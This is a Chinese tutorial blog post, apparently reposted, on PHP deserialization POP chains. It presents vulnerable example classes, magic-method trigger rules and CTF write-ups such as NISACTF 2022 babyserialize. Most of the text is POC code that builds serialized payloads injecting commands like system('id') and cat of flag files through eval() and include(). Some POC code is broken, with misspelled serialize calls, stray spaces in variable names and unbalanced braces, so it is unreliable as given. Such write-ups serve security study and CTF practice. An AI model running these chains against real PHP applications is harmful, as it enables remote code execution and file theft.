php反序列化中的pop链

news2024/11/18 19:48:50

目录

一、什么是POP

二、成员属性赋值对象

例题: 

方法一

方法二 

 三、魔术方法的触发规则

例题: 

四、POC的编写 

例题1:

例题2   [NISACTF 2022]babyserialize

今日总结:


一、什么是POP

在反序列化中,我们能控制的数据就是对象中的属性值(成员变量),所以在php反序列化中有一种漏洞利用方法叫“面向属性编程”,即pop(property oriented programming)。

php反序列化:PHP反序列化_在线反序列化-CSDN博客

pop链就是利用魔术方法在里面进行多次跳转然后获取敏感数据的一种playload.

二、成员属性赋值对象

例题: 
<?php
highlight_file(__FILE__);
error_reporting(0);
class index {
    private $test; //$test为私有属性
    public function __construct(){
        $this->test = new normal(); 调用魔术方法__construct,test = new normal()
    }
    public function __destruct(){
        $this->test->action(); //__destruct()从$test调用action()
    }
}
class normal {
    public function action(){
        echo "please attack me";
    }
}
class evil {
    var $test2;
    public function action(){
        eval($this->test2); //漏洞点,利用eval()函数来执行代码,调用test2
    }
}
unserialize($_GET['test']);
?> 

 分析代码可得:

1、利用反序列化触发__destruct()从$test中调用action()

2、正常情况下我们会new index(),但实例化触发__construct()导致new normal()

3、new normal()会导致__destruct()从$test中调用的action()是normal类中的,而我们要的是evil类中的action(),所以给$test赋值为对象new evil()

方法一

实例化index(),直接触发__construct的魔术方法

<?php
class index {
    private $test;   
    public function __construct(){
        $this->test = new evil();
    }
  //  public function __destruct(){
  //      $this->test->action();   
    }
}
// class normal {
//    public function action(){
//        echo "please attack me";
    }
}
class evil {
    var $test2 = "system('id');";
}
$a=new index();
echo serialize($a);  
?>

方法二 

直接调用属性test2

<?php
class index {
    var $test;
}  
class evil {
    var $test2;
}
$a= new evil();
$a ->test2="system('id');";
$b= new index();
$b ->test=$a;
echo serialize($b);
?>

 三、魔术方法的触发规则

魔术方法触发前提:魔术方法所在类(或对象)被调用

例题: 
<?php
class fast {
    public $source;
    public function __wakeup(){
        echo "wakeup is here!!";
        echo  $this->source;
    }
}
class sec {
    var $benben;
    public function __toString(){
        echo "toString is here!!";
    }
}
$b = $_GET['benben'];
unserialize($b);
?>
目标:显示wakeup is here!!toString is here!!

解题:

<?php
class fast {
    public $source;
//    public function __wakeup(){
//        echo "wakeup is here!!";
//        echo  $this->source;
//    }
}
class sec {
    var $benben;
//    public function __toString(){
//        echo "toString is here!!";
//    }
}
$a=new fast();    //实例化fast
$b=new sec();    //实例化sec
$a->source=$b;    //将source赋值为$b
echo serialize($a);    //在触发__wakeup()后执行echo从而触发__toString()    
?>

四、POC的编写 

poc(proof of concept)中文译作概念验证。在安全界可以理解成漏洞验证程序。poc是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。

编写一段不完整的程序,以获取所需要的序列化字符串。

例题1:
 <?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
    private $var;
    public function append($value)
    {
        include($value);
        echo $flag;    //目标:触发echo,调用$flag
    }
    public function __invoke(){    //__invoke()触发时机:把对象当成函数
        $this->append($this->var);    //触发__invoke()调用append,并使$var=flag.php
    }
}
 
class Show{
    public $source;
    public $str;
    public function __toString(){  
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}
 
class Test{
    public $p;
    public function __construct(){    //无用
        $this->p = array();
    }
 
    public function __get($key){
        $function = $this->p;
        return $function();    //可能把对象当成函数使用的地方
    }
}
 
if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
?> 
目标:触发echo调用$flag

 解决此题之前,需要知道各个魔术方法的触发条件

触发__invoke():把对象当成函数使用;

触发Test中的__get():调用的成员属性不存在;

触发Test中的__toString():把对象当成字符串调用;

触发__wakeup():反序列化unserialize之前

1.知道此题的魔术方法的触发条件之后,然后我们来分析,主要使用到了反推法,根据代码可得,要echo $flag,就要使用到append这个函数,而触发这个函数需要触发__invoke这个魔术方法

2.找到把对象当成函数使用的地方,return $function(),$function被赋值为p,又要触发__invoke,所以p需要赋值为 new Modifier();这里需要触发__get这个魔术方法,找到Test中它不存在source这个成员变量

3.这里就注意到Show这个类里面的东西,如果调用__wakeup()里的source触发echo,触发echo则触发__toString(),__toString()里面会调用$str,$str再调用它里面的source,此时给$str赋值为new Test(),Test中不含有source触发 __get()

4.调用了__wakeup(),就需要将$source赋值为new Show(),反序列化$source触发wakeup()

分析完成,编写poc

 <?php
//flag is in flag.php
class Modifier {
    private $var='flag.php';
  //  public function append($value)
  //  {
 //       include($value);
 //       echo $flag;   
 //   }
 //   public function __invoke(){    
 //       $this->append($this->var);    
 //   }
}
 
class Show{
    public $source;
    public $str;
 //   public function __toString(){  
 //       return $this->str->source;
 //   }
 //   public function __wakeup(){
 //       echo $this->source;
 //   }
}
 
class Test{
    public $p;
 //   public function __construct(){    
 //       $this->p = array();
    }
 
 //   public function __get($key){
 //       $function = $this->p;
 //       return $function();   
//    }
}
$mod=new Modifier();
$show=new Show();
$test=new Test();
$test ->p=$ mod;
$show ->str=$test;
$show ->source=$show;
echo serialiaze($show);
?> 

例题2   [NISACTF 2022]babyserialize

相关的魔术方法:

名称触发条件
__wakeup()执行unserialize()时,先会调用这个函数
__call()在对象上下文中调用不可访问的方法时触发
__set()对私有成员属性进行设置值时自动触发
__toString()__toString()
__invoke()当尝试将对象调用为函数时触发

分析题目可得

(1)eval反推到__invoke
这里先看到eval,而eval中的变量可控,所以肯定是代码执行,而eval又在__invoke魔术方法中。
__invoke魔术方法是对象被当做函数进行调用的时候所触发
这里就反推看哪里用到了类似$a()这种的。

(2)__invoke反推到__toString
在Ilovetxw类的toString方法中,返回了return $bb;
__ToString方法,是对象被当做字符串的时候进行自动调用
  
(3)__toString反推到__set
在four的__set中,调用了strolower方法。如果不清楚,可以具体看下文档。
  
(4)从__set反推到__call
__set:对不存在或者不可访问的变量进行赋值就自动调用
__call:对不存在的方法或者不可访问的方法进行调用就自动调用
这里反推到Ilovetxw中的__call方法,而__call方法又可直接反推到TianXiWei中的__wakeup

构造POC链

<?php
class NISA{
    public $fun;
    public $txw4ever;
 //   public function __wakeup()
 //   {
 //       if($this->fun=="show_me_flag"){
 //           hint();
 //       }
    }

 //   function __call($from,$val){
 //       $this->fun=$val[0];
 //   }

//    public function __toString()
//    {
 //       echo $this->fun;
//        return " ";
//    }
//    public function __invoke()
//    {
 //       checkcheck($this->txw4ever);
//        @eval($this->txw4ever);
 //   }
//}

class TianXiWei{
    public $ext;
    public $x;
 //   public function __wakeup()
 //   {
 //       $this->ext->nisa($this->x);
 //   }
}

class Ilovetxw{
    public $huang;
    public $su;

   // public function __call($fun1,$arg){
   //     $this->huang->fun=$arg[0];
  //  }

  //  public function __toString(){
  //      $bb = $this->su;
  //      return $bb();
  //  }
}

class four{
    public $a;
    private $fun;

   // public function __set($name, $value)
 //   {
  //      $this->$name=$value;
   //     if ($this->fun = "sixsixsix"){
    //        strtolower($this->a);
   //     }
   // }
}
$e = new NISA();
$e -> txw4ever = "System('cat /f*');";
$d = new Ilovetxw();
$d -> su = $e;
$c = new four();
$c -> a = $d;
$b = new Ilovetxw();
$b -> huang = $c;
$a = new TianXiWei();
$a -> ext = $b;

echo urlencode(serialize($a));
?>

传参,得到flag

今日总结:

1.构造pop链,需要先分析代码

2.找到pop链的开端,再使用反推法,一个一个魔术方法的绕过

3.能够理解魔术方法的触发条件

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1799395.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

DexCap——斯坦福李飞飞团队泡茶机器人:更好数据收集系统的原理解析、源码剖析

前言 2023年7月&#xff0c;我司组建大模型项目开发团队&#xff0c;从最开始的论文审稿&#xff0c;演变成目前的两大赋能方向 大模型应用方面&#xff0c;以微调和RAG为代表 除了论文审稿微调之外&#xff0c;目前我司内部正在逐一开发论文翻译、论文对话、论文idea提炼、论…

RDMA (1)

RDMA是什么 Remote Direct Memory Access(RDMA)是用来给有高速需求的应用释放网络消耗的。 RDMA在网络的两个应用之间进行低延迟,高吞吐的内存对内存的直接数据通信。 InfiniBand需要部署独立的协议。 RoCE(RDMA over Converged Ethernet),也是由InfiniBand Trade Associat…

不要硬来!班组管理有“巧思”

班组管理&#xff0c;听起来似乎是一个充满“硬气”的词汇&#xff0c;让人联想到严肃、刻板的制度和规矩。然而&#xff0c;在实际操作中&#xff0c;我们却需要运用一些“巧思”&#xff0c;以柔克刚&#xff0c;让班组管理既有力度又不失温度。 在班组管理中&#xff0c;我们…

Istio_1.17.8安装

项目背景 按照istio官网的命令一路安装下来&#xff0c;安装好的istio版本为目前的最新版本&#xff0c;1.22.0。而我的k8s集群的版本并不支持istio_1.22的版本&#xff0c;导致ingress-gate网关安装不上&#xff0c;再仔细查看istio的发布文档&#xff0c;如果用istio_1.22版本…

Fatfs

STM32进阶笔记——FATFS文件系统&#xff08;上&#xff09;_stm32 fatfs-CSDN博客 STM32进阶笔记——FATFS文件系统&#xff08;下&#xff09;_stm32 文件系统怎样获取文件大小-CSDN博客 STM32——FATFS文件基础知识_stm32 fatfs-CSDN博客 021 - STM32学习笔记 - Fatfs文件…

Go select 语句使用场景

1. select介绍 select 是 Go 语言中的一种控制结构&#xff0c;用于在多个通信操作中选择一个可执行的操作。它可以协调多个 channel 的读写操作&#xff0c;使得我们能够在多个 channel 中进行非阻塞的数据传输、同步和控制。 基本语法&#xff1a; select {case communica…

纷享销客集成平台(iPaaS)的应用与实践

案例一 企业系统集成的产品级解决方案 概况 随着国家出台一系列鼓励LED照明产业发展与创新的规划和政策&#xff0c;以及国际市场全球演唱会、音乐会的活跃以及线上零售、商业地产等行业回暖&#xff0c;LED显示行业发展形势积极向好。深圳市艾比森光电股份有限公司&#xff…

第一周:计算机网络概述(上)

一、计算机网络基本概念 1、计算机网络通信技术计算机技术 计算机网络就是一种特殊的通信网络&#xff0c;其特殊之处就在于它的信源和信宿就是计算机。 2、什么是计算机网络 在计算机网络中&#xff0c;我们把这些计算机统称为“主机”&#xff08;上图中所有相连的电脑和服…

【动手学深度学习】softmax回归的简洁实现详情

目录 &#x1f30a;1. 研究目的 &#x1f30a;2. 研究准备 &#x1f30a;3. 研究内容 &#x1f30d;3.1 softmax回归的简洁实现 &#x1f30d;3.2 基础练习 &#x1f30a;4. 研究体会 &#x1f30a;1. 研究目的 理解softmax回归的原理和基本实现方式&#xff1b;学习如何…

开发人员必备的常用工具合集-lombok

Project Lombok 是一个 java 库&#xff0c;它会自动插入您的编辑器和构建工具&#xff0c;为您的 Java 增添趣味。 再也不用编写另一个 getter 或 equals 方法了&#xff0c;只需一个注释&#xff0c;您的类就拥有了一个功能齐全的构建器&#xff0c;自动化了您的日志记录变量…

从零开始手把手Vue3+TypeScript+ElementPlus管理后台项目实战五(引入vue-router,并给注册功能加上美丽的外衣el-form)

安装vue-router pnpm install vue-router创建router src下新增router目录&#xff0c;ruoter目录中新增index.ts import { createRouter, createWebHashHistory } from "vue-router"; const routes [{path: "/",name: "Home",component: () …

SQL语句练习每日5题(四)

题目1——查找GPA最高值 想要知道复旦大学学生gpa最高值是多少&#xff0c;请你取出相应数据 题解&#xff1a; 1、使用MAX select MAX(gpa) FROM user_profile WHERE university 复旦大学 2、使用降序排序组合limit select gpa FROM user_profile WHERE university 复…

当C++的static遇上了继承

比如我们想要统计下当前类被实例化了多少次&#xff0c;我们通常会这么写 class A { public:A() { Count_; }~A() { Count_--; }int GetCount() { return Count_; }private:static int Count_; };class B { public:B() { Count_; }~B() { Count_--; }int GetCount() { return …

LeetCode1143最长公共子序列

题目描述 给定两个字符串 text1 和 text2&#xff0c;返回这两个字符串的最长 公共子序列 的长度。如果不存在 公共子序列 &#xff0c;返回 0 。一个字符串的 子序列 是指这样一个新的字符串&#xff1a;它是由原字符串在不改变字符的相对顺序的情况下删除某些字符&#xff08…

Type-C音频转接器方案

在数字化时代&#xff0c;音频设备作为我们生活中不可或缺的一部分&#xff0c;其连接方式的便捷性和高效性显得尤为重要。Type-C音频转接器&#xff0c;作为一种新型的音频连接解决方案&#xff0c;正逐渐走进我们的生活&#xff0c;以其独特的优势改变着我们的音频体验。 一、…

数据库设计步骤、E-R图转关系模式、E-R图的画法

一、数据库设计步骤 ①需求分析阶段 准确了解与分析用户需求。 ②概念结构设计阶段 通过对用户需求进行综合、归纳与抽象&#xff0c;形成一个独立于具体数据库管理系统的概念模型。 ③逻辑结构设计阶段 将概念结构转换为某个数据库管理系统所支持的数据模型&am…

LCM — Least Common Multiple 最小公倍数

因为任何一个数都可以表示为若干个质数幂的乘积。 比如75 3*5*5&#xff0c;即 2^0 * 3^1 * 5^2 * 7^0 ... 那么对于两个数来说&#xff0c;gcd就是他们取每个质数的较小幂的乘积&#xff0c;lcm则相反。显然&#xff0c;这些幂加起来就是他们乘积。 gcd(a,b) * lcm(a,b) a…

C++学习/复习13--list概述

一、list概念 1.带头双向链表 2.构造函数 3.迭代器&#xff08;其迭代器需尤其注意&#xff09; 4、size 5.front/back 6.插入删除 删除时的迭代器失效 由于list的节点特殊&#xff0c;既有数据又有指针&#xff0c;其实现需要节点/迭代器/list各成一类再组合

【TB作品】MSP430F5529 单片机,智能温控系统,DS18B20

作品功能 本项目设计并实现了一个基于MSP430单片机的智能温控系统。系统可以实时显示当前温度&#xff0c;并且可以根据设置的临界值对环境进行加热或降温。主要功能如下&#xff1a; 实时显示当前温度。显示并调整温度临界值&#xff0c;临界值可在20~35摄氏度之间调节。当前…

chorme浏览器查看shadow-root配置

F12打开控制台&#xff0c;点击设置图标 点击偏好设置-> 勾选显示用户代理 Shadow DOM